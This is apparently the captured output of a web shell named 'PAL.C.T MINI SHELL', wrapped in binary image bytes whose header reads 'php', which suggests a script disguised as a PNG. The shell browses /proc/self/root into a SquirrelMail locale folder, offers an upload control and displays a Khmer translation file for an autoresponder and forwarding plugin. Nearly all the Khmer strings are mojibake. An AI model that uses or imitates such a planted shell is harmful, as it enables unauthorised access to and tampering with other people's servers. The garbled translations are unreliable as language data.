‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/local_autorespond_forward.po

# Khmer (km) local_autorespond_forward Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: local_autorespond_forward\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2007-10-27 11:58+0200\n"
"PO-Revision-Date: 2009-04-24 09:26+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: functions.php:44
msgid "Autoresponder / Mail Forwarding"
msgstr "កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž· / ការ​បញ្ជូន​សំបុážáŸ’រ​បន្áž"

#: functions.php:45
msgid ""
"Set up an auto-reply message and optionally forward your incoming email to "
"other addresses. This can be useful when you are away on vacation."
msgstr "រៀបចំ​សារ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž· និង​ការ​បញ្ជូន​បន្ážâ€‹â€‹áž¢áŸŠáž¸áž˜áŸ‚ល​ទទួល​បាន​ស្រáŸáž…áž…áž·ážáŸ’ážâ€‹ážšáž”ស់​អ្នក​ទៅ​អាសយដ្ឋាន​ផ្សáŸáž„ ។ វា​មាន​ប្រយោជនáŸâ€‹áž“ៅពáŸáž›â€‹ážŠáŸ‚ល​អ្នក​មិននៅ ។"

#: functions.php:52
msgid "Autoresponder"
msgstr "កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·"

#: functions.php:53
msgid ""
"Set up an auto-reply message for you incoming email. This can be useful when "
"you are away on vacation."
msgstr "រៀបចំ​សារ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹ážŸáž˜áŸ’រាប់​អ៊ីមែល​ទទួល​បាន​របស់​អ្នក ។ វា​មាន​ប្រយោជនáŸâ€‹áž“ៅពáŸáž›â€‹ážŠáŸ‚ល​អ្នក​មិន​នៅ ។"

#: functions.php:61
msgid "Mail Forwarding"
msgstr "ការ​បញ្ជូន​សំបុážáŸ’រ​បន្áž"

#: functions.php:62
msgid ""
"Set up other email addresses to which your incoming messages will be "
"forwarded."
msgstr "រៀបចំ​អាសយដ្ឋាន​អ៊ីមែល​ទៅ​សារ​ទទួល​បាន​របស់​អ្នក​ដែល​នឹង​ážáŸ’រូវ​បញ្ជូន​បន្ážÂ áŸ”"

#: options.php:146
msgid "Bad characters in list of forwarding addresses"
msgstr "​ážáž½áž¢áž€áŸ’សរ​មិនážáŸ’រឹមážáŸ’រូវ​នៅ​ក្នុង​បញ្ជី​អាសយដ្ឋាន​បញ្ជូន​បន្áž"

#: options.php:171
msgid "Forwarding has not been activated (no addresses given)"
msgstr "ការ​បញ្ជូន​បន្ហមិន​ážáŸ’រូវបាន​ធ្វើ​ឲ្យ​សកម្មទ០(គ្មាន​អាសយដ្ឋាន​ដែល​បាន​ផ្ដល់​ទáŸ)"

#: options.php:184
msgid "Forwarding has been activated"
msgstr "ការ​បញ្ជូន​បន្ážâ€‹ážáŸ’រូវបាន​ធ្វើ​ឲ្យ​សកម្ម"

#: options.php:186
msgid "Forwarding has been deactivated"
msgstr "ការ​បញ្ជូន​បន្ážâ€‹ážáŸ’រូវបាន​ធ្វើ​ឲ្យ​មិន​សកម្ម"

#: options.php:251 options.php:277
msgid "Autoresponder has been deactivated"
msgstr "កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹ážáŸ’រូវបាន​ធ្វើ​ឲ្យ​មិន​សកម្ម"

#: options.php:253
msgid "Autoresponder has not been activated (message is empty)"
msgstr "កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž˜áž·áž“ážáŸ’រូវ​បាន​ធ្វើ​ឲ្យ​សកម្ម​ទ០(សារ​គឺ​ទទáŸ)"

#: options.php:267 options.php:275
msgid "Autoresponder has been activated"
msgstr "កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹ážáŸ’រូវបាន​ធ្វើ​ឲ្យ​សកម្ម"

#: options.php:291
msgid "Autoresponder has been initialized"
msgstr "កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹ážáŸ’រូវបាន​ចាប់ផ្ដើម"

#: options.php:293
msgid "Autoresponder has been re-initialized"
msgstr "កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹ážáŸ’រូវបាន​ចាប់ផ្ដើម​ឡើងវិញ"

#: options.php:314
msgid "Messages will be saved in this account (no forwarding is active)"
msgstr "សារ​នឹង​ážáŸ’រូវបាន​រក្សាទុក​ក្នុង​គណនី​នáŸáŸ‡ (គ្មាន​ការ​បញ្ជូន​បន្ážâ€‹ážŽáž¶â€‹ážŠáŸ‚ល​សកម្មទáŸ)"

#: options.php:320
msgid ""
"Messages will be saved in this account (no forwarding or auto-reply is "
"active)"
msgstr "សារ​នឹង​ážáŸ’រូវបាន​រក្សាទុក​ក្នុង​គណនី​នáŸáŸ‡ (គ្មាន​ការ​បញ្ជូន​បន្ហឬ​ការ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž‚ឺ​សកម្ម)"

#: options.php:747
msgid "Error: Could not bind to LDAP server"
msgstr "កំហុស ៖ មិនអាច​​ចង​ទៅ​ម៉ាស៊ីន​បម្រើ LDAP បានទáŸ"

#: options.php:761
#, php-format
msgid "Error: Could not find FTP server for %s in LDAP server"
msgstr "កំហុស ៖ មិនអាច​រក​ឃើញ​ម៉ាស៊ីន​បម្រើ FTP សម្រាប់ម៉ាស៊ីន​បម្រើ %s ក្នុង LDAP"

#: options.php:774
msgid "Error: Could not connect to LDAP server"
msgstr "កំហុស ៖ មិនអាច​ážáž—្ជាប់​ទៅ​ម៉ាស៊ីន​បម្រើ LDAP បានទáŸ"

#: options.php:821
msgid "Error: Unable to connect to FTP server. Please try again later"
msgstr "កំហុស ៖ មិនអាច​ážáž—្ជាប់​ទៅ​ម៉ាស៊ីន​បម្រើ FTP ។ សូម​ព្យាយាម​ម្ដងទៀážâ€‹áž“ៅ​បáŸáž›â€‹áž€áŸ’រោយ"

#: options.php:826
msgid ""
"Error: Unable to log in to FTP server. Please contact your system "
"administrator"
msgstr "កំហុស ៖ មិនអាច​ចូល​ទៅកាន់​ម៉ាស៊ីន​បម្រើ FTP áž‘áŸÂ áŸ” សូម​ទាក់ទង​ទៅកាន់​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក"

#: options.php:832
msgid ""
"Error: Unable to switch to passive FTP mode. Please contact your system "
"administrator"
msgstr "កំហុស ៖ មិនអាច​ប្ដូរ​ទៅ​របៀប FTP អកម្មបាន​ទáŸÂ áŸ” សូមទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក"

#: options.php:868 options.php:922 options.php:971 options.php:1023
#: options.php:1051 options.php:1092
msgid ""
"Error: Unable to establish connection. Please contact your system "
"administrator"
msgstr "កំហុស ៖ មិនអាច​បង្កើážâ€‹áž€áž¶ážšâ€‹ážáž—្ជាប់​បាន​ទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក"

#: options.php:873 options.php:927 options.php:976 options.php:1028
#: options.php:1056 options.php:1097
msgid "Error: Unable to send password. Please contact your system administrator"
msgstr "កំហុស ៖ មិន​អាច​ផ្ញើ​ពាក្យ​សម្ងាážáŸ‹â€‹áž”ានទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក"

#: options.php:887 options.php:1040
#, php-format
msgid "Error: Unable to handle list request (%s)"
msgstr "កំហុស ៖ មិនអាច​ដោះគ្រប់គ្រង​សំណើរ​បញ្ជី​បានទ០(%s)"

#: options.php:909
msgid "Error: Unable to upload file. Please contact your system administrator"
msgstr "កំហុស ៖ មិនអាច​ផ្ទុក​ឯកសារ​ឡើងបាន​ទáŸÂ áŸ” សូមទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក"

#: options.php:936
#, php-format
msgid "Error: Unable to handle upload request (%s)"
msgstr "កំហុស ៖ មិនអាច​គ្រប់គ្រង​សំណើរ​ផ្ទុកឡើង​ (%s) បានទáŸ"

#: options.php:958
msgid "Error: unable to download file. Please contact your system administrator"
msgstr "កំហុស ៖ មិនអាច​ទាញយក​ឯកសារ​បានទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក"

#: options.php:985
#, php-format
msgid "Error: Unable to handle download request (%s)"
msgstr "កំហុស ៖ មិនអាច​គ្រប់គ្រង​សំណើរ​ទាញយក​បាន​ទ០(%s)"

#: options.php:1011
msgid "Error: unable to delete file. Please contact your system administrator"
msgstr "កំហុស ៖ មិនអាច​លុប​ឯកសារ ។ សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក"

#: options.php:1065
#, php-format
msgid "Error: Unable to handle delete request (%s)"
msgstr "កំហុស ៖ មិនអាច​គ្រប់គ្រង​​សំណើរ​លុប​បាន​ទ០(%s)"

#: options.php:1107
#, php-format
msgid ""
"Error: Unable to handle init request (%s); you might need to configure with "
"--enable-vacation"
msgstr "កំហុស ៖ មិនអាច​គ្រប់គ្រង​សំណើរ init ទ០(%s) ។ អ្នក​អាច​ážáŸ’រូវ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​ដោយប្រើ --enable-vacation"

#: options.php:1109
#, php-format
msgid "Error: Unable to handle init request (%s)"
msgstr "កំហុស ៖ មិនអាច​គ្រប់គ្រង​សំណើរ init (%s) áž‘áŸáŸ‚"

#: options.php:1124
#, php-format
msgid "An error occurred initializing the autoresponder: %s"
msgstr "មាន​កំហុស​កើážáž¡áž¾áž„​នៅ​ពáŸáž›â€‹áž…ាប់ផ្ដើម​កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·Â áŸ– %s"

#: options.php:1138
#, php-format
msgid "Unknown action: %s"
msgstr "មិនស្គាល់​អំពើ ៖ %s"

#: options.php:1178
msgid ""
"An error occurred attempting to read temp file; check permissions on "
"attachments directory"
msgstr "មាន​កំហុស​កើážáž¡áž¾áž„​នៅពáŸáž›â€‹áž¢áž¶áž“​ឯកសារ temp ។ ពិនិážáŸ’យមើល​សិទ្ធិ​នៅ​លើ​ážážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž—្ជាប់"

#: options.php:1221
msgid ""
"An error occurred attempting to create temp file; check permissions on "
"attachments directory"
msgstr "មាន​កំហុស​កើážáž¡áž¾áž„​នៅពáŸáž›â€‹áž”ង្កើážâ€‹áž¯áž€ážŸáž¶ážš temp ។ ពិនិážáŸ’យ​មើល​សិទ្ធិ​នៅ​លើ​ážážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž—្ជាប់"

#: templates/default/options.tpl:69
msgid "Options - Autoresponder / Mail Forwarding"
msgstr "ជម្រើស - កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž· / ការ​បញ្ជូន​សំបុážáŸ’រ​បន្áž"

#: templates/default/options.tpl:69
msgid "Options - Autoresponder"
msgstr "ជម្រើស - កម្មវិធី​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·"

#: templates/default/options.tpl:69
msgid "Options - Mail Forwarding"
msgstr "ជម្រើស - ការ​បញ្ជូន​សំបុážáŸ’រ​បន្áž"

#: templates/default/options.tpl:91
msgid "ERROR:"
msgstr "កំហុស ៖"

#: templates/default/options.tpl:122
msgid "Settings Saved"
msgstr "បាន​រក្សាទុក​ការ​កំណážáŸ‹"

#: templates/default/options.tpl:157
msgid "Enable auto-reply to sender"
msgstr "បើក​ការ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž…ំពោះ​អ្នក​ផ្ញើ"

#: templates/default/options.tpl:163
msgid "Send from:"
msgstr "ផ្ញើ​ពី ៖"

#: templates/default/options.tpl:185
msgid "Subject:"
msgstr "ប្រធានបទ ៖"

#: templates/default/options.tpl:191
msgid "Message:"
msgstr "សារ ៖"

#: templates/default/options.tpl:207
msgid "Forward incoming messages to addresses listed below"
msgstr "បញ្ជូន​សារ​មក​ដល់​បន្ážâ€‹áž‘ៅ​អាសយដ្ឋាន​ដែល​រាយ​ážáž¶áž„ក្រោម"

#: templates/default/options.tpl:210
msgid "Forwarding email addresses (one address per line):"
msgstr "បញ្ជូន​អាសយដ្ឋាន​អ៊ីមែល​បន្ហ(មួយ​បន្ទាážáŸ‹â€‹ážŠáž¶áž€áŸ‹â€‹áž¢áž¶ážŸáž™ážŠáŸ’ឋាន​មួយ) ៖"

#: templates/default/options.tpl:219
msgid "Keep copies of incoming messages in this account"
msgstr "រក្សាទុក​ច្បាប់ចម្លង​សារ​ដែល​ទទួល​បាន​នៅ​ក្នុង​គណនី​នáŸáŸ‡"

#: templates/default/options.tpl:219
msgid "(must have at least one forwarding address to disable)"
msgstr "(ážáŸ’រូវážáŸ‚​មាន​យ៉ាង​ហោចណាស់​អាសយដ្ឋាន​បញ្ជូន​បន្ážâ€‹áž˜áž½áž™â€‹ážŠáŸ‚ល​ážáŸ’រូវ​បិទ)"

#: templates/default/options.tpl:219
msgid ""
"(must have at least one forwarding address or an active auto-reply to "
"disable)"
msgstr "(ážáŸ’រូវážáŸ‚មាន​យ៉ាងហោចណាស់​អាសយដ្ឋាន​បញ្ជូន​បន្ážâ€‹áž˜áž½áž™ ឬ​ការ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž˜áž½áž™â€‹ážŠáŸ‚áž›ážáŸ’រូវ​បិទ)"

#: templates/default/options.tpl:226
msgid "Submit"
msgstr "ដាក់ស្នើ"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚